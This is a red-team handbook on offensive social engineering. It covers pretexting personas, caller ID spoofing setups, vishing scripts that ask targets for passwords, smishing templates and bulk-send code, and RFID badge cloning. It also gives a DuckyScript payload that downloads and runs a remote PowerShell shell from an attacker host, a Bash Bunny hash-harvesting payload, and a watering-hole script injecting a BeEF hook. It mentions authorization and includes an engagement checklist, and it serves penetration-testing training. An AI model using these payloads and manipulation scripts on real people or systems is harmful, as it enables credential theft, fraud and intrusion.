Offensive Social Engineering

Offensive Social Engineering

Social engineering exploits human trust, authority bias, and procedural gaps rather than technical vulnerabilities. While phishing is the most common vector, a comprehensive red team engagement tests the full spectrum: voice calls, text messages, physical access, and planted devices. You are simulating an adversary who combines OSINT, psychological manipulation, and physical access techniques to breach an organization's defenses at the human layer.

Every technique described here requires explicit written authorization. Physical social engineering carries additional legal considerations -- trespassing, impersonation of officials, and recording laws vary by jurisdiction. Confirm your scope covers each vector before execution.

Quick Workflow

1. Conduct OSINT to map the target organization's structure, key personnel, physical locations, and communication patterns.
2. Develop personas and pretexts tailored to the engagement objectives (credential theft, physical access, data exfiltration).
3. Prepare infrastructure: VoIP numbers for vishing, SMS gateways for smishing, cloned badges for physical access.
4. Execute attacks in phases -- start with remote vectors (vishing, smishing), escalate to physical if in scope.
5. Document every interaction with timestamps, recordings (where legally permitted), and outcomes.
6. Debrief with the client; provide actionable recommendations for security awareness and procedural improvements.

Pretexting and Psychological Manipulation

Pretexting is the foundation of all social engineering. You construct a believable scenario that gives you a reason to request information or access. The pretext must hold up under casual scrutiny and, for high-value targets, under deliberate verification.

Persona Development

Build a persona with enough depth to answer follow-up questions. A thin pretext collapses under the first challenge.

Persona Template:
  Name:           [Realistic for the region and industry]
  Role:           [IT support, vendor account manager, building inspector]
  Organization:   [Real vendor the target uses, or plausible third party]
  Contact Info:   [Burner phone, spoofed email, LinkedIn profile]
  Backstory:      [Why you are calling/visiting today]
  Verification:   [What to say if they try to verify your identity]
  Fallback:       [Graceful exit if the pretext fails]

Example -- IT Support Persona:
  Name:           Mark Chen
  Role:           Senior Support Engineer, Contoso IT Services
  Backstory:      Contoso manages the target's endpoint security.
                  Calling about a critical vulnerability patch that
                  requires the user to verify their credentials on
                  a portal to receive the update.
  Verification:   "You can check our contract reference CON-2024-0847
                  with your procurement team."
  Fallback:       "No problem, I will have your account manager
                  Sarah reach out to coordinate instead."

Psychological Triggers

Effective social engineering leverages cognitive biases. You apply these deliberately, not randomly.

Authority:
  - Impersonate someone with organizational power (CISO, VP, auditor)
  - Reference internal projects or systems by name
  - Use confident, directive language

Urgency / Scarcity:
  - "This must be resolved before end of business today"
  - "Your account will be locked if we cannot verify now"
  - Artificial deadlines compress the target's decision-making time

Social Proof:
  - "I have already confirmed this with your colleague [name]"
  - "Everyone in your department has completed this step"

Reciprocity:
  - Offer help before making a request ("I fixed that ticket for you")
  - Small favors create obligation

Commitment / Consistency:
  - Get the target to agree to small requests first
  - Escalate to the actual objective after initial compliance

Liking / Rapport:
  - Mirror the target's communication style
  - Find common ground (shared frustrations, industry knowledge)
  - Use their name; reference specifics from OSINT

Vishing (Voice Phishing)

Voice calls add a human element that email cannot replicate. The real-time interaction lets you adapt, overcome objections, and build trust dynamically.

VoIP Infrastructure Setup

Set up a dedicated voice infrastructure that supports caller ID spoofing and call recording.

# Option 1: Twilio for caller ID manipulation
# Register a Twilio account and purchase a local number

pip install twilio

python3 <<'PYEOF'
from twilio.rest import Client

account_sid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
auth_token = "your_auth_token"
client = Client(account_sid, auth_token)

# Place a call with spoofed caller ID
call = client.calls.create(
    to="+1XXXXXXXXXX",        # Target number
    from_="+1XXXXXXXXXX",     # Your Twilio number (displayed)
    url="http://your-server.com/twiml/pretext.xml"  # TwiML script
)
print(f"Call SID: {call.sid}")
PYEOF

# TwiML script for IVR-style pretext
cat <<'XML' > pretext.xml
<?xml version="1.0" encoding="UTF-8"?>
<Response>
    <Say voice="alice">
        This is an automated message from your IT security team.
        A suspicious login was detected on your account.
        Press 1 to verify your identity and secure your account.
    </Say>
    <Gather numDigits="1" action="/handle-key" method="POST">
        <Say>Press 1 now.</Say>
    </Gather>
</Response>
XML

# Option 2: Asterisk PBX for full control
# Install Asterisk on a VPS
apt-get install asterisk

# Configure a SIP trunk with a VoIP provider that permits
# caller ID passthrough (check provider TOS for compliance)

# extensions.conf -- route outbound calls with custom CallerID
cat <<'CONF' >> /etc/asterisk/extensions.conf
[outbound-spoof]
exten => _X.,1,Set(CALLERID(num)=2125551234)
exten => _X.,n,Set(CALLERID(name)=TargetCorp IT)
exten => _X.,n,Dial(SIP/trunk/${EXTEN})
exten => _X.,n,Hangup()
CONF

asterisk -rx "dialplan reload"

Vishing Call Scripts

Prepare a script but deliver it conversationally. Reading from a script verbatim sounds robotic and raises suspicion.

Opening:
  "Hi, this is Mark from IT support. Am I speaking with [target name]?
   Great -- I am calling because we detected some unusual activity
   on your account this morning and I need to verify a few things
   with you to get it resolved."

Credential Harvesting:
  "I have pulled up your account and I can see the flagged activity.
   To confirm your identity before I can make any changes, could you
   verify the email address on file? ... And the password you are
   currently using, so I can confirm it was not changed by the
   unauthorized party?"

Objection Handling:
  Target: "I should not give my password over the phone."
  Response: "Absolutely, I understand the concern. What I can do
   instead is send you a secure link to reset it. Can you confirm
   the email I should send that to? I will stay on the line while
   you complete it."
   [Send EvilGinx2 link via email during the call]

Escalation to Manager:
  "If you would prefer, I can have my supervisor call you back.
   Let me transfer you to our team lead."
   [Transfer to another operator playing the supervisor role]

IVR System Exploitation

Interactive Voice Response systems often have hidden administrative menus, default PINs, or DTMF-accessible functions.

Common IVR reconnaissance:
  - Dial the main number and explore all menu options
  - Try pressing 0, #, or * at any prompt for operator/admin access
  - Enter default PINs: 0000, 1234, 9999, the last four of the main number
  - Listen for system identification (Cisco Unity, Avaya, Mitel)
  - Check for voicemail systems accessible via external dial-in
  - Test for DTMF injection during hold music or transfer sequences

Smishing (SMS Phishing)

SMS messages have higher open rates than email and are harder for organizations to filter. Carrier-level protections are improving but remain inconsistent.

SMS Gateway Setup and Delivery

# Twilio SMS with link tracking
from twilio.rest import Client

client = Client("ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "auth_token")

targets = [
    ("+1XXXXXXXXXX", "John"),
    ("+1XXXXXXXXXX", "Sarah"),
]

for number, name in targets:
    message = client.messages.create(
        body=f"Hi {name}, your VPN certificate expires today. "
             f"Renew now to avoid losing access: "
             f"https://vpn-targetcorp.com/renew?u={name.lower()}",
        from_="+1XXXXXXXXXX",  # Your Twilio number
        to=number
    )
    print(f"Sent to {name}: {message.sid}")

Smishing Pretext Patterns

IT / Security:
  "TargetCorp Security Alert: Unusual login detected from
   [city]. Verify your identity: https://secure-targetcorp.com/verify"

HR / Benefits:
  "[TargetCorp] Open enrollment deadline extended to Friday.
   Review your benefits selections: https://benefits-portal.com/enroll"

Delivery / Package:
  "USPS: Your package requires address confirmation before
   delivery. Confirm here: https://usps-verify.com/confirm"

MFA Push Fatigue (combined with credential stuffing):
  Send repeated MFA push notifications, then SMS:
  "TargetCorp IT: We are seeing repeated MFA prompts on your
   account. If this is not you, approve the next prompt so we
   can reset and secure your account."

Physical Social Engineering

Physical penetration testing requires you to bypass guards, locks, badge readers, and human vigilance to access restricted areas.

Tailgating and Piggybacking

The simplest physical access technique. You follow an authorized person through a controlled entry point.

Tailgating Approaches:
  - Hands full: Carry boxes, a laptop bag, and coffee. People
    hold doors for someone whose hands are full.
  - Smoking area: Join employees at the smoking area and walk
    back in with them. No badge tap needed.
  - Delivery persona: Wear a delivery uniform, carry a package
    addressed to someone inside. "I just need to drop this off."
  - Timing: Enter during high-traffic periods (8:30-9:00 AM,
    lunch return at 1:00 PM) when door-holding is routine.

Physical Appearance:
  - Dress code matters. Match the environment.
  - Corporate office: Business casual, lanyard with a badge
    (even a blank one -- people see the lanyard, not the badge).
  - Data center: Polo shirt, cargo pants, tool belt.
  - Construction/maintenance: Hi-vis vest, hard hat, clipboard.

RFID Badge Cloning with Proxmark3

Most access control systems use low-frequency (125 kHz) proximity cards that are trivially cloneable. Higher-frequency systems (13.56 MHz) require more effort but are still vulnerable.

# Proxmark3 -- Read a low-frequency HID ProxCard
proxmark3> lf hid read
# Output: TAG ID: 2004XXXXXXXX

# Clone to a T5577 writable card
proxmark3> lf hid clone -r 2004XXXXXXXX

# For iCLASS (high-frequency) systems
proxmark3> hf iclass read
# May require key recovery:
proxmark3> hf iclass loclass
# Then clone with recovered keys

# For MIFARE Classic (common in many badge systems)
proxmark3> hf mf autopwn
# Dumps all sectors; clone to a MIFARE Classic compatible card
proxmark3> hf mf cload -f dump.eml

Badge Capture Techniques:
  - Long-range reader: Place a concealed reader near an entry
    point or elevator. Low-frequency cards can be read at 1-3
    feet without the cardholder's knowledge.
  - Social approach: "Hey, can I see your badge for a second?
    I think we have the same model and mine stopped working."
  - Photography: Badge numbers are sometimes printed on the
    face of the card. A telephoto lens from across a parking
    lot can capture them.

Lock Picking and Physical Bypass

Common Bypass Methods:
  - Lock picking: Rake or single-pin pick standard pin tumbler
    locks. Most commercial door locks are pickable in under
    60 seconds with practice.
  - Bump keys: Pre-cut keys that open pin tumbler locks via
    percussive force. Fast and low-skill.
  - Shims: Bypass padlocks by inserting a thin metal shim
    between the shackle and the locking mechanism.
  - Under-door tools: Slide a tool under the door to reach
    the interior handle or push bar. Works on outward-opening
    doors with gaps.
  - REX sensor triggering: Request-to-exit motion sensors can
    often be triggered through glass doors with a can of
    compressed air (simulates heat) or by reaching through
    gaps with a wire.
  - Elevator manipulation: Many elevator control panels use
    standard fire service keys (FEO-K1 is near-universal in
    the US). Carry one.

USB Drop Attacks

Weaponized USB devices exploit human curiosity and the implicit trust users place in physical media.

USB Rubber Ducky

The Rubber Ducky appears as a keyboard to the target system and executes pre-programmed keystrokes at machine speed.

# DuckyScript payload -- reverse shell via PowerShell
# Saved as inject.bin on the Rubber Ducky microSD

DELAY 1000
GUI r
DELAY 500
STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('https://cdn.attacker.com/shell.ps1'))"
ENTER
DELAY 100

Bash Bunny

The Bash Bunny is a multi-function USB attack platform that can emulate storage, keyboard, and Ethernet simultaneously.

# Bash Bunny payload -- credential harvesting via Responder
# payload.txt in switch position 1

ATTACKMODE ECM_ETHERNET HID
LED SETUP

# Wait for network interface
QUACK DELAY 3000

# Start Responder on the Bash Bunny's network interface
python3 /tools/responder/Responder.py -I usb0 -wrfb &

# Wait for hashes
LED ATTACK
sleep 60

# Exfiltrate captured hashes
LED CLEANUP
cp /tools/responder/logs/* /root/udisk/loot/
LED FINISH

sync

O.MG Cable

The O.MG cable is visually indistinguishable from a standard USB charging cable but contains a wireless implant capable of keystroke injection, keylogging, and remote command execution.

O.MG Deployment Scenarios:
  - Replace a charging cable at the target's desk during a
    physical assessment. The cable charges the device normally
    while providing covert access.
  - Leave "branded" cables in common areas: conference rooms,
    reception desks, break rooms.
  - Mail a cable to the target as a "promotional gift" or
    "replacement for a recalled product."

O.MG Capabilities:
  - Keystroke injection (like Rubber Ducky, but wireless trigger)
  - Keylogging (captures everything typed through the cable)
  - Wi-Fi command and control (connect to the implant's AP)
  - Geofencing (auto-trigger payloads based on Wi-Fi proximity)
  - Self-destruct (wipe payload remotely)

Watering Hole Attacks

Instead of attacking the target directly, compromise a website the target frequently visits. This is particularly effective against security-conscious organizations that are resistant to direct phishing.

Watering Hole Methodology

1. Identify target browsing habits via OSINT:
   - Industry forums and blogs
   - Vendor portals and documentation sites
   - Regional news sites popular with the target demographic
   - Professional association websites

2. Assess candidate sites for vulnerabilities:
   - XSS (inject malicious JavaScript without full compromise)
   - CMS vulnerabilities (WordPress, Drupal, Joomla)
   - Third-party widget compromise (analytics, chat, ads)

3. Deploy selective exploitation:
   - Serve exploits only to IP ranges belonging to the target org
   - Use browser fingerprinting to target specific OS/browser combos
   - Redirect to benign content for non-target visitors

4. Example: Inject BeEF hook into a compromised industry blog

// BeEF hook injection on a compromised watering hole site
// Injected into the site's footer or a third-party JS include
// Targets only the victim organization's IP range

(function() {
    var targetRanges = ["203.0.113.", "198.51.100."];
    // IP check via WebRTC or server-side logic
    // If target IP matches, load BeEF hook:
    var s = document.createElement("script");
    s.src = "https://attacker-beef.com/hook.js";
    document.body.appendChild(s);
})();

OSINT for Targeting

Effective social engineering starts with intelligence gathering. The more you know about the target, the more convincing your pretexts.

LinkedIn and Organizational Reconnaissance

# LinkedIn scraping for employee enumeration
# Use linkedin2username for email format derivation
python3 linkedin2username.py -u user@email.com -c "TargetCorp" -s 1000

# theHarvester for multi-source OSINT
theHarvester -d targetcorp.com -b all -l 500

# Recon-ng for structured intelligence gathering
recon-ng
[recon-ng] > marketplace install all
[recon-ng] > modules load recon/companies-contacts/bing_linkedin_cache
[recon-ng] > options set SOURCE "TargetCorp"
[recon-ng] > run

# CrossLinked for LinkedIn enumeration without API
python3 crosslinked.py -f '{first}.{last}@targetcorp.com' "TargetCorp"

Organizational Pattern Analysis

Map the organization to identify:

  Reporting Structure:
    - Who reports to whom (LinkedIn, press releases, org charts)
    - Key decision-makers and their assistants
    - New hires (less likely to question unusual requests)

  Communication Patterns:
    - Internal tools (Slack, Teams, Zoom -- visible in job postings)
    - Vendor relationships (partner pages, case studies)
    - Email format (first.last, flast, firstl -- verify via SMTP)

  Physical Security:
    - Office locations (Google Maps, Street View for entry points)
    - Badge type (photos on social media, Glassdoor)
    - Visitor procedures (call the front desk and ask)
    - Delivery schedules (observe loading docks)

  Technology Stack:
    - Job postings reveal internal tools and infrastructure
    - DNS records, SSL certificates, Shodan results
    - GitHub/GitLab public repositories from employees

Detection / Defender View

Defenders should implement a "trust but verify" culture: every unusual request should be verified through an independent channel, not the one the requestor provides.

Engagement Cheatsheet

PRE-ENGAGEMENT
  [ ] Written authorization covers all planned vectors (vishing, physical, USB)
  [ ] Legal review of jurisdiction-specific laws (recording consent, trespass)
  [ ] Rules of engagement define escalation limits and safety words
  [ ] Personas and pretexts developed and rehearsed
  [ ] Infrastructure ready: VoIP numbers, SMS gateway, cloned badges, USB devices
  [ ] Emergency contact list (client POC, legal, physical safety)

EXECUTION - REMOTE
  [ ] Vishing calls recorded (where legally permitted) with timestamps
  [ ] Smishing messages sent and tracked
  [ ] All credential captures documented immediately
  [ ] Stop criteria monitored (do not exceed authorized scope)

EXECUTION - PHYSICAL
  [ ] Carry authorization letter at all times during physical assessment
  [ ] Photograph or video evidence of access achieved (where permitted)
  [ ] Do not damage property, alarm occupants, or create safety hazards
  [ ] If challenged and pretext fails, present authorization letter immediately
  [ ] Log entry/exit times for every facility accessed

POST-ENGAGEMENT
  [ ] All planted devices (USB, O.MG cables) recovered or accounted for
  [ ] Cloned badges destroyed
  [ ] VoIP numbers and SMS accounts decommissioned
  [ ] Findings compiled: what worked, what was caught, what was missed
  [ ] Recommendations: procedural controls, awareness training, physical upgrades

Key References

• MITRE ATT&CK T1598 -- Phishing for Information
• MITRE ATT&CK T1566 -- Phishing
• MITRE ATT&CK T1091 -- Replication Through Removable Media
• MITRE ATT&CK T1189 -- Drive-by Compromise
• Social Engineering Toolkit (SET) -- https://github.com/trustedsec/social-engineer-toolkit
• Proxmark3 -- https://github.com/RfidResearchGroup/proxmark3
• Hak5 USB Rubber Ducky -- https://docs.hak5.org/hak5-usb-rubber-ducky
• Hak5 Bash Bunny -- https://docs.hak5.org/bash-bunny
• O.MG Cable -- https://o.mg.lol
• BeEF Framework -- https://beefproject.com
• linkedin2username -- https://github.com/initstring/linkedin2username
• CrossLinked -- https://github.com/m8sec/CrossLinked
• Christopher Hadnagy, "Social Engineering: The Science of Human Hacking"